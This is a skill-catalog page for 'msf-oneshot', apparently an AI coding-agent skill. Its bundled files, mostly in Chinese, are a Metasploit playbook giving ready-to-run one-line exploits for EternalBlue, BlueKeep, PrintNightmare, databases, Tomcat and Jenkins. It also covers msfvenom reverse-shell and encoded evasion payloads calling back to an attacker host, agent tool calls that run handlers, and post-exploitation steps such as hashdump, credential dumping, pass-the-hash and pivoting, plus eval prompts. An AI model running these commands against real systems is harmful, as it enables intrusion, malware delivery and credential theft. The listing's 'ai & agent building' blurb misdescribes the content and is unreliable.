
Msf Oneshot
- 25 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
msf-oneshot is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- msf-oneshot
- AI & Agent Building
- AI-coding skill
Msf Oneshot by the numbers
- 25 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,800 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill msf-oneshotAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 25 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
Metasploit Framework 调用方法论
MSF 有两种调用方式,分别适合不同场景:
| 方式 | 适用场景 | 工具 |
|---|---|---|
一行式 (msfconsole -q -x) | 单次 exploit、漏洞检测、msfvenom | 直接 bash 执行 |
交互式 (interactive_session) | Handler 监听、Meterpreter 会话、后渗透 | interactive_session MCP 工具 |
一行式适合"发射后不管"的操作——执行完自动退出。但 handler 监听和 meterpreter 后渗透需要持续交互,一行式做不到(-x 执行完就退出了,& 后台化也无法读取输出)。这时用 interactive_session 启动一个持久 tmux 会话,就能随时发送命令、读取输出。
参考资料
- 常用 exploit 模块速查表和 payload 生成指南 → references/msf-modules.md
- Meterpreter 会话、转发与自动化 → references/meterpreter-operations.md
---
Phase 1: 一行式基本语法
# 基本格式:用分号连接多条 MSF 命令
msfconsole -q -x "use EXPLOIT; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# -q = 静默启动(不显示 banner)
# -x = 执行命令字符串
# exit = 执行完退出(重要!否则会挂起)完整示例:EternalBlue (MS17-010)
msfconsole -q -x "
use exploit/windows/smb/ms17_010_eternalblue;
set RHOSTS 10.0.0.1;
set LHOST 10.0.0.2;
set PAYLOAD windows/x64/meterpreter/reverse_tcp;
set LPORT 4444;
run;
exit
"msfconsole 启动需要 10-30 秒加载模块库,这是正常现象。
Phase 2: 常见漏洞利用场景
2.1 操作系统级漏洞(Zone 3/4 最常用)
# MS17-010 EternalBlue(Windows SMB)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# MS08-067(Windows Server 2003/XP)
msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# BlueKeep(Windows RDP CVE-2019-0708)
msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS TARGET; set LHOST ATTACKER; set TARGET 2; run; exit"
# PrintNightmare(Windows Print Spooler)
msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"2.2 数据库远程利用
# PostgreSQL 代码执行(默认口令 postgres/postgres)
msfconsole -q -x "use exploit/multi/postgres/postgres_copy_from_program_cmd_exec; set RHOSTS TARGET; set USERNAME postgres; set PASSWORD postgres; set LHOST ATTACKER; run; exit"
# MySQL UDF 提权(需要已知凭据)
msfconsole -q -x "use exploit/multi/mysql/mysql_udf_payload; set RHOSTS TARGET; set USERNAME root; set PASSWORD ''; set LHOST ATTACKER; run; exit"
# MSSQL xp_cmdshell
msfconsole -q -x "use exploit/windows/mssql/mssql_payload; set RHOSTS TARGET; set USERNAME sa; set PASSWORD password; set LHOST ATTACKER; run; exit"
# Redis 未授权写 SSH key / Webshell
msfconsole -q -x "use exploit/linux/redis/redis_replication_cmd_exec; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"2.3 Web/中间件服务
# Tomcat Manager 部署 WAR(需要凭据)
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS TARGET; set RPORT 8080; set HttpUsername tomcat; set HttpPassword tomcat; set LHOST ATTACKER; run; exit"
# JBoss 反序列化
msfconsole -q -x "use exploit/multi/http/jboss_invoke_deploy; set RHOSTS TARGET; set RPORT 8080; set LHOST ATTACKER; run; exit"
# Jenkins Script Console
msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS TARGET; set RPORT 8080; set TARGETURI /; set LHOST ATTACKER; run; exit"2.4 网络服务
# FTP vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS TARGET; run; exit"
# Samba(CVE-2017-7494)
msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
# SSH 暴力破解
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS TARGET; set USERNAME root; set PASS_FILE /usr/share/wordlists/rockyou.txt; set STOP_ON_SUCCESS true; run; exit"Phase 3: 漏洞检测(不利用,只检测)
用 auxiliary/scanner 或 check 命令进行安全检测:
# 检测 MS17-010 是否存在(不利用)
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS TARGET; run; exit"
# SMB 版本检测
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS TARGET; run; exit"
# 批量端口服务检测
msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS TARGET; set PORTS 445,3389,1433,3306; run; exit"
# 使用 check 命令(部分 exploit 支持)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; check; exit"Phase 4: Payload 生成(msfvenom)
msfvenom 不需要 msfconsole,直接 bash 调用:
# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe
# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell.elf
# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.php
# JSP webshell(Tomcat WAR 部署用)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.py
# 编码绕过(基础免杀)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exePhase 5: Handler 模式(interactive_session)
Handler 需要持续监听等待回连——一行式 -x 在执行完就退出了,无法维持监听。用 interactive_session 启动 msfconsole 交互会话来解决这个问题。
典型流程:生成 payload → 启动 handler → 投递 payload → 获取 session
Step 1: 生成 payload(一行式,Phase 4)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exeStep 2: 启动 handler(交互式)
interactive_session(action="start", session_name="msf_handler", command="msfconsole -q")等待 15-20 秒让 msfconsole 加载完毕,然后配置 handler:
interactive_session(action="send", session_name="msf_handler", command="use exploit/multi/handler", wait=3)
interactive_session(action="send", session_name="msf_handler", command="set PAYLOAD windows/x64/meterpreter/reverse_tcp", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LHOST 0.0.0.0", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LPORT 4444", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set ExitOnSession false", wait=2)
interactive_session(action="send", session_name="msf_handler", command="exploit -j", wait=5)Handler 现在在后台监听。可以随时 read 检查是否有 session 回连:
interactive_session(action="read", session_name="msf_handler")Step 3: 投递 payload
通过其他漏洞(文件上传、RCE 等)将 shell.exe 传到目标并执行。
Step 4: 确认 session
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)看到 meterpreter session 建立后,进入 Phase 6 后渗透。
快捷方式:一条 -x 启动 handler
如果你确定只需要监听不需要后续交互,也可以用一条命令启动:
interactive_session(action="start", session_name="msf_handler", command="msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit'")这样省去了逐条 send 的步骤,但后续交互仍然通过 send/read 进行。
Phase 6: 后渗透操作(interactive_session)
获取 meterpreter session 后,通过 interactive_session 执行后渗透命令。meterpreter 是交互式 shell,只有在持久会话中才能充分使用。复杂的 session 管理、端口转发、SOCKS、Kiwi、resource script 和 multiple transports 见 references/meterpreter-operations.md。
进入 session 并收集信息
interactive_session(action="send", session_name="msf_handler", command="sessions -i 1", wait=3)
interactive_session(action="send", session_name="msf_handler", command="sysinfo", wait=3)
interactive_session(action="send", session_name="msf_handler", command="getuid", wait=3)
interactive_session(action="send", session_name="msf_handler", command="ipconfig", wait=3)常用后渗透操作
# 文件系统操作
interactive_session(action="send", session_name="msf_handler", command="ls C:\\Users\\", wait=3)
interactive_session(action="send", session_name="msf_handler", command="download C:\\flag.txt /tmp/flag.txt", wait=5)
interactive_session(action="send", session_name="msf_handler", command="upload /tmp/tool.exe C:\\temp\\tool.exe", wait=5)
# 凭据提取(需要 SYSTEM 权限)
interactive_session(action="send", session_name="msf_handler", command="hashdump", wait=5)
# 提权
interactive_session(action="send", session_name="msf_handler", command="getsystem", wait=5)
# 网络信息(内网渗透前置)
interactive_session(action="send", session_name="msf_handler", command="arp", wait=3)
interactive_session(action="send", session_name="msf_handler", command="route", wait=3)
# 返回 MSF 主控台(保持 session 存活)
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)会话管理
# 列出所有 sessions
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)
# 切换到另一个 session
interactive_session(action="send", session_name="msf_handler", command="sessions -i 2", wait=3)
# 批量执行低噪声确认命令
interactive_session(action="send", session_name="msf_handler", command="sessions -c whoami", wait=3)
# 返回主控台但保持 session 存活
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)
# 结束操作后关闭 MSF
interactive_session(action="close", session_name="msf_handler")备选方案:无需 meterpreter 的命令执行
如果不需要交互式 meterpreter(只想执行一条命令拿 flag),直接生成命令执行 payload 更简单:
msfvenom -p windows/x64/exec CMD="type C:\\flag.txt" -f exe -o cmd.exe
msfvenom -p linux/x64/exec CMD="cat /flag > /tmp/result.txt" -f elf -o cmd.elf配合一行式 handler 即可(不需要 interactive_session)。
决策树:一行式 vs interactive_session
你要用 MSF 做什么?
│
├─ 执行单个 exploit(EternalBlue、Tomcat upload 等)
│ └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 漏洞检测 / auxiliary scanner
│ └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 生成 payload(msfvenom)
│ └→ 直接 bash 调用 msfvenom,不需要 msfconsole
│
├─ 启动 handler 等待反弹 shell
│ └→ interactive_session 启动 msfconsole,配置 handler
│ (handler 需要持续监听,一行式做不到)
│
├─ Meterpreter 后渗透(sysinfo、hashdump、文件操作)
│ └→ interactive_session send/read 交互
│ (meterpreter 是交互式 shell,需要持久会话)
│
├─ 只想执行一条命令拿 flag(不需要交互)
│ └→ msfvenom -p .../exec CMD="..." 生成命令执行 payload
│ 配合一行式 handler 或 nc 监听即可
│
└─ Web 应用漏洞 (SQLi/XSS/SSRF)
└→ 不用 MSF,curl/sqlmap/手动脚本更快常见问题排查
| 症状 | 原因 | 解决 |
|---|---|---|
| Exploit completed, but no session | Payload 被杀/端口被占 | 换端口、换 payload、检查防火墙 |
| Connection refused | 目标端口未开放 | 先 nmap 确认端口开放 |
| msfconsole 启动超时 | 数据库连接慢 | 加 --no-database 或等待 |
| Payload 无法回连 | LHOST 错误/防火墙 | 确认 LHOST 是目标可达的 IP |
| interactive_session read 为空 | msfconsole 还在加载 | wait 设为 15-20 秒,重新 read |
{
"skill_name": "msf-oneshot",
"evals": [
{
"id": 1,
"name": "eternalblue-exploit",
"prompt": "内网扫描发现 10.0.0.5 开放了 445 端口,nmap 显示是 Windows Server 2008 R2。我想尝试 EternalBlue 攻击,但我不想进入 msfconsole 交互模式。怎么一行命令搞定?",
"expected_output": "使用 msfconsole -q -x 一行式调用 ms17_010_eternalblue,设置 RHOSTS/LHOST/PAYLOAD",
"expectations": [
"msfconsole -q -x",
"ms17_010_eternalblue",
"RHOSTS.*10.0.0.5|set RHOSTS",
"LHOST|LPORT",
"run|exploit",
"exit"
]
},
{
"id": 2,
"name": "payload-generation",
"prompt": "我已经通过文件上传漏洞可以往目标 Windows 服务器上传 EXE 文件。我需要生成一个反弹 shell 的 EXE,我的攻击机 IP 是 10.0.0.2。",
"expected_output": "使用 msfvenom 生成 windows reverse_tcp payload,同时启动 handler 接收",
"expectations": [
"msfvenom",
"windows.*reverse_tcp|windows.*meterpreter",
"LHOST.*10.0.0.2|LHOST=10.0.0.2",
"-f exe|-o.*\\.exe",
"handler|multi/handler"
]
},
{
"id": 3,
"name": "database-rce-with-creds",
"prompt": "发现目标 PostgreSQL 5432 端口开放,用 postgres/postgres 弱口令可以登录。怎么用 MSF 获取操作系统 shell?",
"expected_output": "使用 postgres_copy_from_program_cmd_exec 模块,设置数据库凭据和攻击者 IP",
"expectations": [
"postgres_copy_from_program|postgres.*cmd_exec",
"msfconsole -q -x",
"USERNAME.*postgres|set USERNAME",
"PASSWORD.*postgres|set PASSWORD",
"LHOST"
]
}
]
}
{
"skill_id": "msf-oneshot",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "MSF 直接关键词",
"keywords": ["metasploit", "msf", "msfconsole", "meterpreter", "msfvenom"]
},
{
"id": 2,
"type": "keyword_positive",
"description": "OS 级漏洞利用场景",
"keywords": ["EternalBlue", "MS17-010", "BlueKeep", "PrintNightmare", "系统漏洞利用"]
},
{
"id": 3,
"type": "keyword_positive",
"description": "payload 生成场景",
"keywords": ["生成payload", "反弹shell", "reverse shell EXE", "生成木马"]
},
{
"id": 4,
"type": "keyword_negative",
"description": "不应触发的 Web 漏洞场景",
"keywords": ["SQL注入", "XSS", "CSRF", "文件上传绕过", "SSRF"]
}
]
}
Meterpreter 会话、转发与自动化
本文档补充 Metasploit 在拿到 session 之后的操作方法。重点是判断什么时候需要持久交互、什么时候只需要一次性模块,以及如何避免 handler 或 session 管理失控。
---
Session 管理
拿到 shell 后先判断是否需要升级到 Meterpreter。普通 shell 适合执行少量命令;Meterpreter 更适合文件传输、路由、凭据、端口转发和后渗透模块。
sessions -l
sessions -i <id>
sessions -u <id>
sessions -u <id> LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false批量执行命令适合快速确认多台主机身份或环境,但不要对大量 session 直接运行高噪声命令:
sessions -c "whoami"
sessions -i 10-20 -c "id"CTRL+Z 可以把当前 session 放到后台,回到 msfconsole 主控台继续配置模块或 handler。
---
后台 Handler
长期监听 handler 时设置 ExitOnSession false,避免一个 session 断开后 handler 自动退出。
use exploit/multi/handler
set PAYLOAD generic/shell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false
exploit -j如果需要在终端里长期保留 Metasploit,可放在 tmux/screen 中运行;在 Claude Code 内则优先使用 interactive_session 保持可读写的交互会话。
---
Meterpreter 基础操作
提权与身份确认
getuid
sysinfo
getsystemgetsystem 依赖当前权限和目标环境,不应作为必定成功的提权方式。失败后回到本地提权枚举,而不是重复执行。
文件传输
upload /local/payload.exe C:\Windows\Temp\payload.exe
download C:\Users\Public\loot.txt /tmp/loot.txt内存执行
execute 可用于从 Meterpreter 侧启动进程或加载文件,适合减少手工投递步骤,但仍会产生进程创建和安全产品检测面。
execute -H -i -c -m -d calc.exe -f /root/tool.exe -a "arguments"---
网络监听、端口转发与 SOCKS
Packet recorder
网络抓包只在确有排障或凭据捕获需求时使用,避免产生大量磁盘与流量噪声。
run packetrecorder -li
run packetrecorder -i 1Port forward
当攻击机无法直连内网服务,但 session 主机可达目标服务时使用 portfwd:
portfwd add -l 7777 -r 172.17.0.2 -p 3006判断标准:如果只需要访问少数固定端口,用 portfwd;如果需要多工具扫描或访问多个目标,改用 SOCKS。
SOCKS proxy
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
run -j
setg Proxies socks4:127.0.0.1:1080设置全局代理后,后续支持代理的模块会走该 SOCKS。结束后用 unsetg Proxies 清理,避免后续模块误走旧路径。
---
凭据与横向移动
Kiwi / Mimikatz
新版本 Metasploit 通常使用 kiwi 扩展承载 Mimikatz 类能力:
load kiwi
creds_all旧资料中的 load mimikatz / mimikatz_command 可能仍出现在历史环境中;实际使用时以当前 MSF 版本支持的扩展为准。
Pass-the-Hash with PsExec
PsExec 模块适合已有 SMB 凭据或 NTLM hash 的 Windows 横向。它不是漏洞利用前置枚举;使用前先确认 445 可达、目标允许远程服务创建、凭据具备管理员权限。
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set RHOSTS TARGET
set SMBUser USERNAME
set SMBPass LMHASH:NTHASH
run---
Resource script 自动化
.rc 文件适合重复搭建 handler、批量设置参数或把多个模块串成固定流程。不要把需要人工判断的后渗透步骤硬编码进 .rc,否则失败时很难知道停在哪一步。
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST 0.0.0.0
set LPORT 4646
set ExitOnSession false
exploit -j -z运行:
msfconsole -r ./handler.rc---
Multiple transports
Multiple transports 用于给 Meterpreter 配置备用回连路径,适合网络不稳定或需要 HTTP/TCP 多通道兜底的场景。
msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=ATTACKER LPORT=4444 \
SessionRetryTotal=30 SessionRetryWait=10 \
EXTENSIONS=stdapi,priv,powershell \
EXTINIT=powershell,/path/AddTransports.ps1 \
-f exe -o payload.exeAddTransports.ps1 中再添加备用 TCP 或 Web transport:
Add-TcpTransport -lhost ATTACKER -lport 4444 -RetryWait 10 -RetryTotal 30
Add-WebTransport -Url http://ATTACKER:8080/CHECKIN -RetryWait 10 -RetryTotal 30如果只是一次性 CTF shell,不需要 multiple transports;它更适合持续访问和不稳定网络中的会话可靠性设计。
Metasploit 常用模块速查表
按场景分类的高价值 MSF 模块,覆盖比赛中最常遇到的目标。
Windows 远程利用
| 模块路径 | CVE/名称 | 目标 | 必须参数 |
|---|---|---|---|
exploit/windows/smb/ms17_010_eternalblue | MS17-010 | Win7/2008R2/2012 SMB 445 | RHOSTS, LHOST |
exploit/windows/smb/ms17_010_psexec | MS17-010 变种 | Win7/2008 (更稳定) | RHOSTS, LHOST, SMBUser/Pass |
exploit/windows/smb/ms08_067_netapi | MS08-067 | WinXP/2003 | RHOSTS, LHOST |
exploit/windows/rdp/cve_2019_0708_bluekeep_rce | BlueKeep | Win7/2008R2 RDP 3389 | RHOSTS, LHOST, TARGET |
exploit/windows/dcerpc/cve_2021_1675_printnightmare | PrintNightmare | Win10/2016/2019 | RHOSTS, LHOST |
exploit/windows/smb/psexec | PsExec | 任何 Windows (需凭据) | RHOSTS, SMBUser, SMBPass |
exploit/windows/winrm/winrm_script_exec | WinRM | Win2012+ (需凭据) | RHOSTS, USERNAME, PASSWORD |
Linux 远程利用
| 模块路径 | CVE/名称 | 目标 | 必须参数 |
|---|---|---|---|
exploit/linux/samba/is_known_pipename | CVE-2017-7494 | Samba 3.5.0-4.6.4 | RHOSTS, LHOST |
exploit/unix/ftp/vsftpd_234_backdoor | vsftpd 2.3.4 | FTP 后门 | RHOSTS |
exploit/linux/http/apache_mod_cgi_bash_env_exec | ShellShock | CGI + Bash | RHOSTS, TARGETURI |
exploit/linux/redis/redis_replication_cmd_exec | Redis RCE | Redis 未授权 | RHOSTS, LHOST |
exploit/multi/misc/java_rmi_server | Java RMI | 1099 端口 | RHOSTS, LHOST |
数据库利用
| 模块路径 | 目标 | 前提条件 |
|---|---|---|
exploit/multi/postgres/postgres_copy_from_program_cmd_exec | PostgreSQL 9.3+ | 需要凭据 |
exploit/windows/mssql/mssql_payload | MSSQL | 需要 sa 凭据 |
exploit/multi/mysql/mysql_udf_payload | MySQL | 需要 root 凭据 |
auxiliary/admin/mssql/mssql_exec | MSSQL xp_cmdshell | 需要 sa 凭据 |
auxiliary/scanner/oracle/oracle_login | Oracle | 口令爆破 |
Web/中间件
| 模块路径 | 目标 | 前提条件 |
|---|---|---|
exploit/multi/http/tomcat_mgr_upload | Tomcat Manager | 需要凭据 |
exploit/multi/http/tomcat_jsp_upload_bypass | Tomcat PUT | PUT 方法开启 |
exploit/multi/http/jboss_invoke_deploy | JBoss | JMX Console 未授权 |
exploit/multi/http/jenkins_script_console | Jenkins | Script Console 访问 |
exploit/unix/webapp/wp_admin_shell_upload | WordPress | 需要管理员凭据 |
exploit/multi/http/apache_normalize_path_rce | Apache 2.4.49/50 | mod_cgi 启用 |
扫描/检测(Auxiliary)
| 模块路径 | 用途 |
|---|---|
auxiliary/scanner/smb/smb_ms17_010 | MS17-010 检测 |
auxiliary/scanner/smb/smb_version | SMB 版本识别 |
auxiliary/scanner/ssh/ssh_login | SSH 口令爆破 |
auxiliary/scanner/ftp/ftp_login | FTP 口令爆破 |
auxiliary/scanner/http/tomcat_mgr_default_creds | Tomcat 默认口令 |
auxiliary/scanner/mssql/mssql_login | MSSQL 口令爆破 |
auxiliary/scanner/mysql/mysql_login | MySQL 口令爆破 |
auxiliary/scanner/postgres/postgres_login | PostgreSQL 口令爆破 |
Payload 速查(msfvenom)
| 用途 | Payload | 格式 |
|---|---|---|
| Windows 反弹 shell (staged) | windows/x64/meterpreter/reverse_tcp | exe |
| Windows 反弹 shell (stageless) | windows/x64/meterpreter_reverse_tcp | exe |
| Windows 命令执行 | windows/x64/exec + CMD= | exe |
| Linux 反弹 shell | linux/x64/meterpreter/reverse_tcp | elf |
| Linux 命令执行 | linux/x64/exec + CMD= | elf |
| PHP 反弹 shell | php/meterpreter/reverse_tcp | raw |
| JSP WAR 部署 | java/jsp_shell_reverse_tcp | war |
| Python | python/meterpreter/reverse_tcp | raw |
Staged vs Stageless
- Staged (
meterpreter/reverse_tcp):分两阶段,体积小但需要 handler - Stageless (
meterpreter_reverse_tcp):一次性,体积大但独立运行 - 比赛中推荐 staged(更稳定)
常见问题排查
| 症状 | 原因 | 解决 |
|---|---|---|
| Exploit completed, but no session | Payload 被杀/端口被占 | 换端口、换 payload、检查防火墙 |
| Connection refused | 目标端口未开放 | 先 nmap 确认端口开放 |
| msfconsole 启动超时 | 数据库连接慢 | 加 --no-database 或等待 |
| Payload 无法回连 | LHOST 错误/防火墙 | 确认 LHOST 是目标可达的 IP |